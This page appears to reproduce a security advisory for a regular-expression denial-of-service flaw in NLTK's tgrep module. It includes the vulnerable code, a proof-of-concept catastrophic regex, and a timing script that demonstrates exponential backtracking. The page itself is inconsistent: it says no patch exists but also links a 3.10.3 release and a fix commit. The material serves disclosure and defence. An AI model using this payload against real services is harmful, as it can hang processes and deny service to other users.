Advisory details:
github_osv / GHSA-w3v8-gmh9-3wv7
| Advisory ID | github_osv/GHSA-w3v8-gmh9-3wv7 |
| Aliases |
CVE-2026-80206
|
| Summary | NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions ### Summary The NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely. ### Affected Code `nltk/tgrep.py` — `_tgrep_node_action()` (around line 320) When a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation: ```python def _tgrep_node_action(_s, _l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") node_lit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( _tgrep_node_literal_value(n) ) )(re.compile(node_lit)) # User regex compiled and executed with no timeout ``` The compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely. ### Proof of Concept ```python import nltk from nltk.tgrep import tgrep_positions # Root node label is 25 'a' characters. # tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") # No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))") tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns ``` ### Working Poc The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely. ```python import nltk from nltk.tgrep import tgrep_positions import time def test_n(n): tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perf_counter() list(tgrep_positions(pattern, [tree])) return time.perf_counter() - start if __name__ == "__main__": # Adjust the range if needed – these values complete quickly n_values = [18, 20, 22, 24, 26, 28] print(f"Testing n = {n_values}\n") times = [] for n in n_values: t = test_n(n) times.append((n, t)) print(f"n={n:2d} done", flush=True) print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prev_n, prev_t = times[i-1] curr_n, curr_t = times[i] factor = curr_t / prev_t factors.append((curr_n, factor)) print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})") avg = sum(f for _, f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.") ``` When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability. ### Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process. ### Remediation This issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism. ### Credit Tool: Kira by [Offgrid Security](https://www.offgridsec.com) |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.4 |
| Risk | 3.7 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 8.2 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-w3v8-gmh9-3wv7/GHSA-w3v8-gmh9-3wv7.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/nltk/nltk | ||
| https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9 | ||
| https://github.com/nltk/nltk/releases/tag/v3.10.3 | ||
| https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml | ||
| CVE-2026-80206 | https://nvd.nist.gov/vuln/detail/CVE-2026-80206 | |
| GHSA-w3v8-gmh9-3wv7 | Advisory | https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7 |
| nltk-3.10.2-regular-expression-denial-of-service-via-tgrep | Advisory | https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
There are no SSVC decisions available.